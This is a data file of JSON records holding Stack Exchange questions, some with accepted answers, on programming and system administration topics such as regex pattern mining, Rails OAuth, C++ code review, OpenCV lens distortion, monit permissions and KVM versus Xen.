{  "id": "_cs.61038"  , "question": "I am trying to classify the data in a database columns. DB has about 90 million entries.The main goal is to find different patterns in columns to leverage it for create look alike data. The data columns has entries which can easily look like patterns as : CUST1212,CUST1213,CUST1214...,  number sequential after CUST CODE1213,CODE1242,CODE1289...   random numbers after code CUST1213,MUST8324,FIFA12313...   009-123-2123,003-124-2314,006-213-5322, INTER122,INTER222,INTER322...,  number increasing in batch of 100 OM|ON|TO, IO|OI|UH...,  pipe delimited  some 6 and 7 digits number.The issue is there are so many patterns and looks like creating patterns manually based on data is out of option.I would really appreciate if one can point to how can I build a collection of patterns preferably by usage frequency.What I started is 1. Segregate the data as per their length as patterns usually generate same string length, sorted them and stored them in different files. 2. Then classifying them further as per Alphabet prefix or numeric prefix. 3. For alpha-prefix segregate further on common alphabets at start.Now seems I am lost and sincerely hoping if one can point out to me what are my options and probably best to took.I believe if end of computation if get something like patterns in data and their frequency e.g. CUST[0-9]{4} -> 10k times, [a-zA-Z]{4} -> 50k times [0-9]{3}-[0-9]{3}-[0-9]{4} 10K times etc....., it would be great.Thanks"  , "title": "Find string patterns preferably in regex for string streams"  , "tags": "regular expressions;data mining;classification;pattern recognition"  } 
{  "id": "_webmaster.15113"  , "question": "I'm redesigning a website. For certain content areas the layout is fine at my text size but screws up if I set the text any bigger. I often resize pages with Firefox, but the whole page resizes so the layout still works. So, should I worry about users having larger text but the same CSS otherwise? I don't know how to test for this sort of thing. The site works fine with every browser I've looked at it with. I know some usability devices change layouts but don't they ignore normal styles altogether?"  , "title": "Do users resize text?"  , "tags": "usability"  , "accepted_answer": "it really depends on the target audience i'd say. if its a frontfacing website i think you should cover your bets and try and make it look good (or atleast usable) with increased text size, if its an internal website perhaps it doesnt matter so much..sorry for the vague awnser, but its really something the customer (internal or external) can awnser best "  } 
{  "id": "_webapps.1318"  , "question": "Is there a web service that can receive faxes and store them in a PDF format? I would like to be able to keep my current fax number."  , "title": "Is there a web service that can receive faxes and store them in a PDF format?"  , "tags": "webapp rec;storage;pdf;fax"  , "accepted_answer": "The answer given to this question can help you here.efax.com offers a service to keep your existing number. You have to ring to discuss it. The number I see is a UK one - I'm guessing because the site detects your locale and offers a local service - so I won't post it here as it won't apply to everyone."  } 
{  "id": "_codereview.27144"  , "question": "I'm having trouble structuring the logic of OAuth integration into my web app. In the app, a user creates a Report that consists of data from their Google Analytics account.User steps:User clicks 'New Report'Google presents the 'Allow Access' page for OAuth accessUser is presented with a list of their GA web properties and selects oneA report is created using data from the selected web propertyMy issue is in structuring the code below.When the user clicks New Report, they are actually redirected to google_analytics#ga_session to begin the authorization process. The code to retrieve the user's web properties succeeds, but the code at the bottom needs to be refactored so it is reusable when retrieving web property data. The main two issues I can't figure out is how to make the Google Analytics instance reusable and how to structure the OAuth redirects.  Retrieve web properties:GoogleAnalyticsControllerdef ga_session    client = OAuth2::Client.new(ENV['GA_CLIENT_ID'], ENV['GA_SECRET_KEY'], {        :authorize_url => 'https://accounts.google.com/o/oauth2/auth',        :token_url => 'https://accounts.google.com/o/oauth2/token'    })    redirect_to client.auth_code.authorize_url({         :scope => 'https://www.googleapis.com/auth/analytics.readonly',         :redirect_uri => ENV['GA_OAUTH_REDIRECT_URL'],         :access_type => 'offline'     })  end  def oauth_callback    session[:oauth_code] = params[:code]    redirect_to new_report_path  endReportsControllerdef new     @report = Report.new     ga_obj = GoogleAnalytics.new     ga_obj.initialize_ga_session(session[:oauth_code])     @ga_web_properties = ga_obj.fetch_web_propertiesendGoogleAnalytics modeldef initialize_ga_session(oauth_code)    client = OAuth2::Client.new(ENV['GA_CLIENT_ID'], ENV['GA_SECRET_KEY'], {        :authorize_url => 'https://accounts.google.com/o/oauth2/auth',        :token_url => 'https://accounts.google.com/o/oauth2/token'    })    access_token_obj = client.auth_code.get_token(oauth_code, :redirect_uri => ENV['GA_OAUTH_REDIRECT_URL'])    self.user = Legato::User.new(access_token_obj)  end  def fetch_web_properties    self.user.web_properties  endRetrieve web property data: when creating the reportReportsControllerdef create    @report = Report.new(params[:report])    @report.get_top_traffic_keywords(session[:oauth_code])    create!endReport Modeldef get_keywords(oauth_code)    ga = GoogleAnalytics.new    ga.initialize_ga_session(oauth_code) # this is a problem b/c the user will be redirected the new_report_path after the callack    self.url = ga.fetch_url(self.web_property_id)    self.keywords = # Get keywords for self.url from another service    keyword_revenue_data(oauth_code)enddef keyword_revenue_data(oauth_code)    ga = GoogleAnalytics.new    ga.initialize_ga_session(oauth_code)    revenue_data = # Get revenue dataend"  , "title": "Rails service + OAuth"  , "tags": "ruby;ruby on rails;oauth"  } 
{  "id": "_webmaster.58597"  , "question": "I have read that Google Analytics supports click conversions (Tracking click conversions with Google Analytics).But I think I rather have conversions tracked within AdWords so I have a single source where I can monitor performance of specific campaigns.So, is there a way for me to setup click conversions within AdWords, I could not find it here https://support.google.com/adwords/answer/2375435 or here https://support.google.com/adwords/answer/1722054What I need specifically:be able to measure if a link with a specific class was clicked and of course assign that conversion to the campaign via which the user arrivedonly measure a conversion if a link was clicked by a user who camevia one of my AdWords campaigns (so a user who would navigate directly to my siteand clicked that link would not be tracked as a conversionUPDATEI do not have a landing page on which I can measure a conversion, since I'm an affiliate and don't sell the products myself, but redirect users to 3rd party publisher sites, I don't know whether a user actually buys the product. But I can get a pretty good indication of a conversion by measuring the click on a link that is directed to an external site. See how it works here: http://www.wonderweddings.com/weddingshopfrom this page and from any productdetail page the user can click to an external site. THAT is the click I want to set as a conversion."  , "title": "Use Google Adwords to track click conversions"  , "tags": "google adwords;tracking;conversions"  } 
{  "id": "_codereview.154933"  , "question": "I solved this programming challenge:Given a 2D board and a word, find if the word exists in the grid. The word can be constructed from letters of sequentially adjacent  cell, where adjacent cells are those horizontally or vertically  neighboring. The same letter cell may not be used more than once.For example,  Given board =[  ['A','B','C','E'],  ['S','F','C','S'],  ['A','D','E','E']]word = ABCCED, -> returns trueword = SEE, -> returns trueword = ABCB, -> returns falseclass Solution {public:  bool DFS(vector<vector<char>> &board, string word,           vector<vector<bool>> visited, int i, int j, int curr) {    if (i < 0 || j < 0 || i >= board.size() || j >= board[0].size()) {      return false;    }    if (visited[i][j] || board[i][j] != word[curr]) {      return false;    }    visited[i][j] = true;    ++curr;    if (curr == word.size()) {      return true;    }    return DFS(board, word, visited, i + 1, j, curr) || // Down           DFS(board, word, visited, i, j + 1, curr) || // Right           DFS(board, word, visited, i - 1, j, curr) || // Up           DFS(board, word, visited, i, j - 1, curr);   // Left  }  bool exist(vector<vector<char>> &board, string word) {    for (int i = 0; i < board.size(); ++i) {      for (int j = 0; j < board[i].size(); ++j) {        if (word[0] == board[i][j]) {          vector<vector<bool>> visited(board.size(),                                       vector<bool>(board[0].size(), false));          if (DFS(board, word, visited, i, j, 0)) {            return true;          }        }      }    }    return false;  }};My solution ranks at around 2% faster when compared to other solutions with the same language. My main desire from reviews are performance improvements."  , "title": "Word Search in LeetCode"  , "tags": "c++;performance;programming challenge;c++11"  } 
{  "id": "_unix.42357"  , "question": "At work, I would like to use KDE's dolphin as a file manager. However, our home directories reside on an AFS share [1]. When starting dolphin, it becomes unresponsive for dozens of minutes. stracing it reveals that it tries to open all the nodes in our AFS tree:openat(AT_FDCWD, /afs/somewhereElse.tld, O_RDONLY|O_NONBLOCK|O_DIRECTORY|O_CLOEXECI need to stop dolphin from doing that; this behaviour makes the program completely unusable on AFS trees. Is there some setting that controls this?[1] If you have never worked with AFS before, for the sake of this question, assume that there is a root directory that has subtrees from different universities, research institutes etc. mounted below it. The data in those subtrees really reside at the remote sites, so access is slow and resource-intensive."  , "title": "How can I stop dolphin from reading my entire home directory tree in order to make it usable on AFS?"  , "tags": "kde;afs;dolphin"  , "accepted_answer": "While this doesn't completely solve the problem raised here, there is an option called -dynroot-sparse in the OpenAFS client these days, which tries to reduce the number of directories that are visible under /afs. That can help avoid processes from trying to traverse all AFS cells in the world just by reading the directories in /afs (but it doesn't prevent anything from traversing everything in your local cell). See afsd(8).KDE stuff just really needs to detect networked filesystems, and default to not traversing the whole thing (many programs do similar things, just by detecting certain filesystems like AFS, NFS, sshfs, etc). Here is a bug about this general issue, if you want to raise this there: https://bugs.kde.org/show_bug.cgi?id=178678. It sounds like this is still a problem."  } 
{  "id": "_cstheory.20401"  , "question": "Regex Equivalence is a hard problem which in general takes exponential space and exponential time. Are there any approximation/sub-optimal algorithms with some theoretical guarantees over equivalence available?"  , "title": "Sub optimal regex equivalence"  , "tags": "approximation algorithms;automata theory;regular expressions"  } 
{  "id": "_codereview.63995"  , "question": "This is a sort of follow up to my previous question:Counting the number of character occurrencesThis time I have written code that still counts the number of different characters in a string, but with the added ability to find categories of characters. For example, finding how many numbers are in the string, how many punctuation characters are in the string.Is there anything I should be doing differently? Any improvements? Also, I'm trying to learn better OOP design and software design and best practice, so any advice on that would also be helpful.A couple of notes:From what I've read immutable objects are preferred, so I created the results class to have private setters and return a read only dictionary to stop something else from changing it.Is the way I've created the CharacterCountResult object from CharacterCount a good thing to do? As in, am I doing it correctly?static void Main(string[] args){    var i = CharacterCount.Count(@Hello, World! $% ^ powejdoiwr3u?!?!!/1;';'\\\\z\\\\]p[\\][z]z\\,.,/???);    // Demonstrating some of the avaliable properties    Console.WriteLine(Alphanumeric: {0}\\nLowercase: {1}\\nUppercase: {2}\\nPunctuation: {3}\\nDigits: {4}\\nSymbols: {5},        i.LetterAndDigitCount, i.LowercaseCount, i.UppercaseCount, i.PunctuationCount, i.DigitCount, i.SymbolCount);    foreach (var character in i.GetCharacterDictionary())    {        Console.WriteLine({0} - {1}, character.Key, character.Value);    }}This is the class that counts the characters in the string:class CharacterCount{    public static CharacterCountResult Count(string stringToCount)    {        var tempDictionary = new Dictionary<char, uint>();        uint controlCount = 0;        uint highSurrogatecount = 0;        uint lowSurrogateCount = 0;        uint whiteSpaceCount = 0;        uint symbolCount = 0;        uint punctuationCount = 0;        uint separatorCount = 0;        uint letterCount = 0;        uint digitCount = 0;        uint numberCount = 0;        uint letterAndDigitCount = 0;        uint lowercaseCount = 0;        uint upperCaseCount = 0;        // Build dictionary of characters and occurrence of characters.        foreach (var character in stringToCount)        {            if (!tempDictionary.ContainsKey(character))            {                tempDictionary.Add(character, 1);            }            else            {                tempDictionary[character]++;            }        }        // Iterate over string and count various types of characters.        foreach (var character in stringToCount)        {            if (char.IsNumber(character))            {                numberCount++;            }            if (char.IsPunctuation(character))            {                punctuationCount++;            }            if (char.IsSeparator(character))            {                separatorCount++;            }            if (char.IsSymbol(character))            {                symbolCount++;            }            if (char.IsUpper(character))            {                upperCaseCount++;            }            if (char.IsWhiteSpace(character))            {                whiteSpaceCount++;            }        }        var result = new CharacterCountResult(controlCount, highSurrogatecount, lowSurrogateCount, whiteSpaceCount,            symbolCount, punctuationCount, separatorCount, letterCount, digitCount, numberCount, letterAndDigitCount,            lowercaseCount, upperCaseCount, tempDictionary);        return result;    }}And this class is the result of the character counting. It has properties which can be used to find the number of different types of characters as well as a method which returns a ReadOnlyDictionary<char, uint> that can be used to find the number of times each specific character occurs:class CharacterCountResult{    // Unicode special characters.    public uint ControlCount { get; private set; }    public uint HighSurrogateCount { get; private set; }    public uint LowSurrogateCount { get; private set; }    // Textual special characters.    public uint WhiteSpaceCount { get; private set; }    public uint SymbolCount { get; private set; }    public uint PunctuationCount { get; private set; }    public uint SeparatorCount { get; private set; }    //Letters, digits, numbers.    public uint LetterCount { get; private set; }    public uint DigitCount { get; private set; }    public uint NumberCount { get; private set; }    public uint LetterAndDigitCount { get; private set; }    public uint LowercaseCount { get; private set; }    public uint UppercaseCount { get; private set; }    private Dictionary<char, uint> _characterDictionary = new Dictionary<char, uint>();    public CharacterCountResult(uint controlCount, uint highSurrogateCount, uint lowSurrogateCount,        uint whiteSpaceCount, uint symbolCount, uint punctuationCount, uint separatorCount, uint letterCount,        uint digitCount, uint numberCount, uint letterAndDigitCount, uint lowercaseCount, uint uppercaseCount,        Dictionary<char, uint> characterDictionary)    {        ControlCount = controlCount;        HighSurrogateCount = highSurrogateCount;        LowSurrogateCount = lowSurrogateCount;        WhiteSpaceCount = whiteSpaceCount;        SymbolCount = symbolCount;        PunctuationCount = punctuationCount;        SeparatorCount = separatorCount;        LetterCount = letterCount;        DigitCount = digitCount;        NumberCount = numberCount;        LetterAndDigitCount = letterAndDigitCount;        LowercaseCount = lowercaseCount;        UppercaseCount = uppercaseCount;        _characterDictionary = characterDictionary;    }    public ReadOnlyDictionary<char, uint> GetCharacterDictionary()    {        var readOnly = new ReadOnlyDictionary<char, uint>(_characterDictionary);        return readOnly;    }}"  , "title": "Counting occurrences of different categories of characters"  , "tags": "c#;beginner;object oriented;design patterns"  , "accepted_answer": "The good:Good naming, both in following conventions and in picking expressive namesYour approach is good procedurally- e.g. good use of the dictionary and in-build char methods.Putting the results in their own class and making it immutable through the use of private setters and the ReadOnlyDictionary is smart.In terms of areas for potential improvement, reviewing is made somewhat difficult because of the nature of the made-up requirements this code is fulfilling. To demonstrate why, here's my train of thought:It's not very realistic that you always want to get all this information together, so the first thing might be to think how to extract each piece of information individually. The first step in doing this would be to extract out the individual counts into their own methods, like:public int CountLetters(string stringToCount){    var letterCount = 0;    foreach(var character in stringToCount)    {        if (char.IsLetter(character))        {            letterCount++;        }    }    return letterCount;}Unfortunately as you can see, this is pretty quickly going to end up with a load of really similar methods, all of which are frustratingly large. The solution to this is two-fold. First, because the only difference between the methods is which char function we call, the use of Func can cut it down to just one method:public int CountLetters(string stringToCount, Func<string, bool> predicate){    var letterCount = 0;    foreach(var character in stringToCount)    {        if (predicate(character))        {            letterCount++;        }    }    return letterCount;}Second, we can use LINQ:public int CountLetters(string stringToCount, Func<string, bool> predicate){    return stringToCount.Count(predicate);}And now we find the method is so simple that it probably doesn't need to be its own method at all. For example, if in the middle of some other method I wanted to count how many characters in a string were letters I could just do:var letterCount = myString.Count(char.IsLetter);This goes back to what I was saying about this being difficult code to review, because it essentially exists to fulfill requirement which is already fulfilled so simply by the .NET framework.However, if we go with the fiction that exposing the counts for all those different char methods for a single string is something that is done commonly throughout your program, then your approach is sensible. Using the LINQ-style counting above, you can remove the second foreach statement and all the ifs inside, replacing them with one-liners. You can also remove all the variable declarations and feed them right into the result constructor, since they are so simple:return new CharacterCountResult(    stringToCount.Count(char.IsControl),     //etc...Going forward, my suggestion is that you'll learn more about design by tackling problems that are a little more realistic than this one, and they will probably garner more informative reviews, too."  } 
{  "id": "_softwareengineering.348367"  , "question": "I'm fiddling around with OOP in building simple CRUD systems.I've decided to focus on using the Repository Pattern for separating Object business logic and Object data persistence (actually saving the object in a persistent data store, i.e a database).Saving a simple object is straightforwardclass Customer {  setData(data) {    this.data = data;  }}// PUT Customercustomer = new Customer();customer.setData(data);customerRepo.save(customer);But saving a composite object becomes a bit complicatedBut what happens if my Customer class is now includes other objects that also need to be persisted in the DB?In the following example, setting a customer's data also needs to create anAuditTrail which is a set of differences between the previous data and the new data passed in customer.setData().AuditTrail is a class and in this example it's a classic has-a relationship between Customer and AuditTrailclass Customer {  setData(data) {    // instantiate an auditTrailCalculator with some constants from the DB    auditTrail = auditTrailRepo.create();    // `calculate()` produces a diff between the previous data and the new data    this.auditTrail = auditTrail.calculate(this.data, data);  }  getAuditTrail() {    return this.auditTrail;  }}// PUT customercustomer = Customer();customer.setId(customerId);customer.setData(data);customerRepo.update(customer);auditTrailRepo.insert(customer.getAuditTrail());The above example looks clumsy.I'm instantiating the AuditTrail object using it's repo from within the Customer Object.For performing the whole update of a Customer I clumsily:Instantiate a new CustomerSet it's dataGet it's auditTrail that was generated inside the objectSave the AuditTrail to the DB using the AuditTrailRepoSave the Customer to the DB using the CustomerRepoMy questions:Is it correct to instantiate objects from their repo's from within other objects?Should I create a factory function instead, which instantiates both Objects, Customer & AuditTrail and return a composition of the 2?How should I handle saving this composite object? "  , "title": "Handling composite objects in the Repository Pattern"  , "tags": "object oriented"  , "accepted_answer": "This is clear example of Aggregate as seen in Domain Driven Design.In this case, the AuditTrail is part of Customer's aggregate. And according to DDD, repositories are per-aggregate, not per-entity. So in your case, there would be only CustomerRepository, which would write an audit every time Customer is updated."  } 
{  "id": "_unix.379087"  , "question": "I have a linux mint Cinnamon desktop running in HiDPI.When I try to connect to it with a VNC client from my macbook (retina/hidpi display), the desktop shows up about 4x too big.I tried with mac's built in VNC viewer and also the real VNC client.I tried different settings in Real VNC's expert mode preferences - Scaling - AspectFit, 25%, etc; nothing seems to change the scaling."  , "title": "VNC to a linux desktop in HiDPI mode won't scale properly"  , "tags": "linux;osx;vnc;display"  } 
{  "id": "_codereview.164194"  , "question": "I've made the following backwards transformation from a transformed source x,y point, to the resulting index of the actual image that I have, so I can avoid black spots appearing in my barrel eye lens image. I've used the formula focal_length * arctan(radius, focal_length) for image undistortion.  Here is the code I've used (its part of another class, but the rest of the class is not important):double BarrelAbberationClass::toDistortedRadius(const double r) const {    return m_focal_length * atan2(r, m_focal_length);}cv::Vec2d BarrelAbberationClass::transformBackward(const cv::Point &source_xy,                                               const cv::Mat &affine, const cv::Vec2d &center) {    const double x_affined = source_xy.x * affine.at<double>(0, 0) + affine.at<double>(0, 2);    const double y_affined = source_xy.y * affine.at<double>(1, 1) + affine.at<double>(1, 2);    const double r = cv::norm(cv::Vec2d(x_affined, y_affined));    const double theta = atan2(y_affined, x_affined);    const double new_r = toUnDistortedRadius(r);    const double new_i = (new_r * sin(theta) + center[1]);    const double new_j = (new_r * cos(theta) + center[0]);    return cv::Vec2d(new_j, new_i);}Basically, given a source x,y point, affine matrix for the transformation account for the center of my image actually being width/2 and height/2, and the visual bounds I would even be able to grab from in the non transformed image, then I warp the x and y affined points to the correct undistorted plane and return the calculated row and column i, j that would correspond to points in the original image (these must be floating point for use later in bilinear interpolation of positions in between others) I should also note that the code with affine.at<double>(...) were originally matrix operations. I saw in the profiler that this was slowing doing my code. Removing the matrix creation routines caused by matrix operations here increased my speed by 4.When profiling this code (I'm forced to use Windows + MingW for this, so I don't have many convenient profiling options; I've been using gprof) it looks like tan, cos, sin, and atan2 take up the vast majority of the time at -O3, with atan2 cos and sin each taking about 20% of the time.Here is the full implementation to give context:double BarrelAbberationClass::toDistortedRadius(const double r) const {    return m_focal_length * atan2(r, m_focal_length);}cv::Vec2d BarrelAbberationClass::transformBackward(const cv::Point &source_xy,                                               const cv::Mat &affine, const cv::Vec2d &center) {    const double x_affined = source_xy.x * affine.at<double>(0, 0) + affine.at<double>(0, 2);    const double y_affined = source_xy.y * affine.at<double>(1, 1) + affine.at<double>(1, 2);    const double r = std::hypot(x_affined, y_affined);    const double new_r = toUnDistortedRadius(r);    const double new_i = center[1] + (new_r / r) * y_affined;    const double new_j = center[0] + (new_r / r) * x_affined;    return cv::Vec2d(new_j, new_i);}double bilinearInterpolate(const cv::Mat &cv_source, const float x, const float y) {    const int px = static_cast<int>(x);    const int py = static_cast<int>(y);    const double p1 = cv_source.at<double>(py, px);    const double p2 = cv_source.at<double>(py, px + 1);    const double p3 = cv_source.at<double>(py + 1, px);    const double p4 = cv_source.at<double>(py + 1, px + 1);    const float fx = x - px;    const float fy = y - py;    const float fx1 = 1.0f - fx;    const float fy1 = 1.0f - fy;    const float w1 = fx1 * fy1;    const float w2 = fx * fy1;    const float w3 = fx1 * fy;    const float w4 = fx * fy;    return p1 * w1 + p2 * w2 + p3 * w3 + p4 * w4;}double BarrelAbberationClass::toUnDistortedRadius(const double r) const {    return m_focal_length * tan(r / m_focal_length);}cv::Point BarrelAbberationClass::transformForward(const cv::Point &source_xy,                                              const cv::Vec2d &center) {    const double x_translated = source_xy.x -center[0];    const double y_translated = source_xy.y -center[1];    const double r = std::hypot(x_translated, y_translated);    const double new_r = toDistortedRadius(r);    const uint64_t new_i = static_cast<uint64_t>(center[1] + (new_r / r) * y_translated);    const uint64_t new_j = static_cast<uint64_t>(center[0] + (new_r / r) * x_translated);    return cv::Point(new_j, new_i);}cv::Mat BarrelAbberationClass::getScaleMatrix(const cv::Rect &bounds,                                          const cv::Vec2d &center) {    const cv::Point new_tl = transformForward(bounds.tl(), center);    const cv::Point new_br = transformForward(bounds.br(), center);    const cv::Point diff = new_br - new_tl;    const double scale_x = diff.x / static_cast<double>(bounds.width);    const double scale_y = diff.y / static_cast<double>(bounds.height);    const double scale = scale_x > scale_y ? scale_x : scale_y;    cv::Mat scale_matrix = (cv::Mat_<double>(3, 3) << scale, 0, 0,            0, scale, 0,            0, 0, 1);    return scale_matrix;}cv::Mat& BarrelAbberationClass::calculateAberation(cv::Mat& imageData) {    const double center_x = imageData.size().width / 2;    const double center_y = imageData.size().height / 2;    const cv::Vec2d center(center_x, center_y);    const cv::Mat translate = (cv::Mat_<double>(3, 3) << 1, 0, -center_x,                                                         0, 1, -center_y,                                                         0, 0, 1);    const cv::Mat cpy = imageData.clone();    imageData.setTo(cv::Scalar(0));    const cv::Rect bounds(cv::Point(), cpy.size());    const cv::Mat scale = getScaleMatrix(bounds, center);    const cv::Mat affine = scale * translate;    for (uint64_t i = 0; i < cpy.rows; ++i) {        for (uint64_t j = 0; j < cpy.cols; ++j) {            const cv::Vec2d new_dpoint = transformBackward(cv::Point(j, i), affine, center);            const cv::Point new_point = {new_dpoint[0], new_dpoint[1]};            if (bounds.contains(new_point)) {                imageData.at<double>(i, j) = bilinearInterpolate(cpy, new_dpoint[0], new_dpoint[1]);            }        }    }    return imageData;}Here is the .h fileclass BarrelAbberationClass{protected:    const double m_focal_length;public:    BarrelDegredation(const double focal_length) : m_focal_length(focal_length) {};    cv::Mat& calculateAberation(cv::Mat& imageData);    double toDistortedRadius(const double r) const;    double toUnDistortedRadius(const double r) const;    cv::Point transformForward(const cv::Point &source_xy, const cv::Vec2d &center);    cv::Mat getScaleMatrix(const cv::Rect &bounds, const cv::Vec2d &center);    cv::Vec2d transformBackward(const cv::Point &source_xy,                                const cv::Mat &affine, const cv::Vec2d &center);}"  , "title": "Backward transformation implementation for a barrel eye lens aberration in c++ 14 (using opencv)"  , "tags": "c++;matrix;c++14"  , "accepted_answer": "It might make no difference to performance, but it may be a little better to use std::hypot() rather than create a temporary cv::Vec2d.You can avoid working with the angle theta, simply by using the ratio new_r/r to scale the distance from centre.  Something like:const double r = std::hypot(x_affined, y_affined);const double new_r = toUnDistortedRadius(r);const double new_i = center[1] + (new_r / r) * y_affined;const double new_j = center[0] + (new_r / r) * x_affined;I've parenthesized new_r / r just in case your compiler needs extra help to hoist this common expression.I'm guessing that you're passing this function to a general-purpose transform function in OpenCV.  If you have control over the order in which the output pixels are iterated, and if the affine transformation has no shear components (just translation and rotation), you might be able to reduce the calculation of r and new_r almost eightfold by observing that (relative to the centre position), r is the same for x,y and y,x.  This will hit your locality of reference, though, so may not be as significant as it sounds!"  } 
{  "id": "_softwareengineering.342592"  , "question": "I read this in a book:Most of the time, calls to third-party products are entangled  throughout the code. But if you really abstracted the idea of a  database outto the point where it simply provides persistence as aservicethen you have the flexibility to change horses in midstream.Could you please explain to me in plain English (or by example) what does the idea written above in bold mean?EDIT:I quoted the paragraph above from a book  called: The Pragmatic Programmer on page 60. The more appropriate tag for my question is reversibility but it is not available."  , "title": "persistence as a service: what does that mean?"  , "tags": "scalability"  , "accepted_answer": "<Something> as a service usually means that an application programmer can forget about an aspect of component of the system they are programming entirely. For instance, platform as a service means that you pay a cloud provider money, and they provide you with a ready-to-use running machine with no questions asked - you never again have to worry about security patches, server location, electricity cost or anything else that is usually necessary in order to maintain an array of machines usable for your purposes.Analogously, persistence as a service would mean that storing things to database and retrieving them is handled completely transparently. Ideally, you would create objects in your business domain and simply expect that they are still available and up to date the next time your code runs, without ever programming explicit calls to EntityManager.persist() or Transaction.commit() or any of the plumbing code that is usually necessary to achieve this. I'm uncertain how closely this ideal can actually be approached, but it would certainly be very nice to have."  } 
{  "id": "_scicomp.14470"  , "question": "I was 7 years old when I learnt BASIC. Then I learnt C and Visual Basic till the age of 13. I stopped programming for 4 years continuously, and don't remember much about it now. I have lost the skill, and need to do learn it all over again.How can I learn basics and the terminology of programming all over  again using C?Can someone suggest an E-Book for that?"  , "title": "Beginning Computer Programming"  , "tags": "c"  } 
{  "id": "_unix.219258"  , "question": "I'm trying to install monit on an Ubuntu 12.04 server.  I have it set up, and configured (i think), but i'm not sure what user it's supposed to run as.My user on the server is called deploy, and my monitrc file looks like this:$ ls -l /etc/monit/monitrc-rwx------ 1 deploy deploy 10229 2015-07-30 12:38 /etc/monit/monitrcie, it's owned by the user i log into the server with.  I've started the monit daemon, and i can see it running with ps and i can log into the web interface for it.What i'm unsure about is how to give it priveleges to restart processes.  For example, nginx:  if i want to restart nginx myself i need to do sudo /etc/init.d/nginx restartDoes this mean that monit needs to do sudo as well in order to restart it?  Or, should i configure monit with its own user, and set that user up so that it can restart nginx (and any other services which monit needs to restart or access) without sudo?thanks, Max "  , "title": "User settings for monit? Should it run as root, or it's own user?"  , "tags": "ubuntu;sudo;nginx;monit"  , "accepted_answer": "Yes, monit either needs to run sudo, or to be running as the root user. Configuring monit as its own user with the correct permissions is also viable however it is probably the most involved of the potential solutions.Generally running sudo from scripts is not viable as it will prompt for a password. It is possible to stop sudo prompting for a password in specific situations by editing /etc/sudoers. The answer to this question explains a suitable approach."  } 
{  "id": "_unix.255226"  , "question": "I've spent a few hours trying to understand the differences between KVM and Xen without much succes. So both are Type 1 Hypervisors with comparable performances (source) and I don't understand what differenciates them.The only specific needs I have are that the guest OS isn't able to interract with the hosts's files (which seems to be the default behaviour) and that both the host and the guest can use their own GPU for video rendering. That seems not to be a problem as both Xen and KVM support some kind of GPU/VGA/PCI pass-through as long as there are two physical graphics cards.So what are the differences between Xen and KVM ? Is one or the other more suitable for graphical performances ?Thanks in advance for the help :)"  , "title": "Should I use KVM or Xen ? What are the main differences?"  , "tags": "kvm;graphics;xen;gpu"  , "accepted_answer": "KVM is normally supported already via libvirt and the kernels in modern distros without much hassle. You just need a CPU that has VT-d extensions (or AMD-V for AMD processors), and your BIOS has to have it enabled. After that, it's all about installing the necessary packages to get it going. XEN, yes, does support it. Xen is literally its own platform. A long time back, it was once known that Xen had the most documentation on IOMMU and VGA passthrough. Now, you'll find multitudes of users using KVM in a similar manner with high rates of success (I am one of them, using F23, GTX970 to a Windows VM for gaming).To answer your question though, the primary difference is that KVM is has had a lot of work put into it by Red Hat and the open source community, since Red Hat dropped Xen in 2009 in favor of KVM. This should in no way sway your options. You'll find varying benchmarks that show KVM outperforming Xen on numerous occasions, with KVM just being 5% slower than bare metal. Now, Xen does come with a bigger feature set than KVM out of the box, but a lot of it is for migrations and other things that you would consider enterprise. I personally believe you should try both and see what works better for you. There are many guides to choose from and to work on, based on your distribution of choice."  } 
{  "id": "_codereview.74775"  , "question": "I'm actually creating an AI for the online contest Vindinium. The fact is that's also an exam for my school because I'm going to have a note with that work.I created an AI based on ants pheromones with a recursive function. The bot is working but only on small maps. I need to send my answer turn after turn (which movement my bot is going to make) in only one second. But one of my functions: to apply all ant pheromones on the map is taking too long.At each turn, if my bot has got a new objectif, he is going to spreads pheromones on the map with some value on each squares of the map. An on each square the value can propagate to to all neighbors until the square of the final destination.public function appliCoeff($x, $y, $sx, $sy, $value){      // Optimisation du code    $newval = $value+1;    if( /* Special condition */ )        $this->setReccurence($x, $y-1, $sx, $sy, $newval);    if( /* Special condition */ )        $this->setReccurence($x-1, $y, $sx, $sy, $newval);    if( /* Special condition */ )        $this->setReccurence($x+1, $y, $sx, $sy, $newval);    if( /* Special condition */ )        $this->setReccurence($x, $y+1, $sx, $sy, $newval);    if( /* Special condition */ )        $this->appliCoeff($x, $y-1, $sx, $sy, $newval);    if( /* Special condition */ )        $this->appliCoeff($x-1, $y, $sx, $sy, $newval);    if( /* Special condition */ )        $this->appliCoeff($x+1, $y, $sx, $sy, $newval);    if( /* Special condition */ )        $this->appliCoeff($x, $y+1, $sx, $sy, $newval);}Do you have any idea to optimize it? Do you think threads are a good idea? I never used them and I don't know if it's such a good idea to parallelize treatments?"  , "title": "AI for an online contest"  , "tags": "php;optimization;performance;recursion"  } 
{  "id": "_unix.162900"  , "question": "What is this folder: /run/user/1000 on my Fedora system and what does it do?~ $ df -hFilesystem      Size  Used Avail Use% Mounted ontmpfs           1.2G   20K  1.2G   1% /run/user/1000"  , "title": "What is this folder /run/user/1000?"  , "tags": "directory structure"  , "accepted_answer": "/run/user/$uid is created by pam_systemd and used for storing files used by running processes for that user. These might be things such as your keyring daemon, pulseaudio, etc.Prior to systemd, these applications typically stored their files in /tmp. They couldn't use a location in /home/$user as home directories are often mounted over network filesystems, and these files should not be shared among hosts. /tmp was the only location specified by the FHS which is local, and writable by all users.However storing all these files in /tmp is problematic as /tmp is writable by everyone, and while you can change the ownership & mode on the files being created, it's more difficult to work with.So systemd came along and created /run/user/$uid. This directory is local to the system and only accessible by the target user. So applications looking to store their files locally no longer have to worry about access control.It also keeps things nice and organized. When a user logs out, and no active sessions remain, pam_systemd will wipe the /run/user/$uid directory out. With various files scattered around /tmp, you couldn't do this."  } 
{  "id": "_unix.105759"  , "question": "In my previous question I have learned how to implement trash functionality in mutt. unset confirmappendfolder-hook . set trash==trashfolder-hook trash$ unset trashThat works well, except that I have to confirm every deletion. I would like it to work without the delete confirmation. So that I only need to press d and then $ to sync, without being asked for confirmation.Can somebody please suggest how to do it?"  , "title": "mutt: trash macro"  , "tags": "mutt"  } 
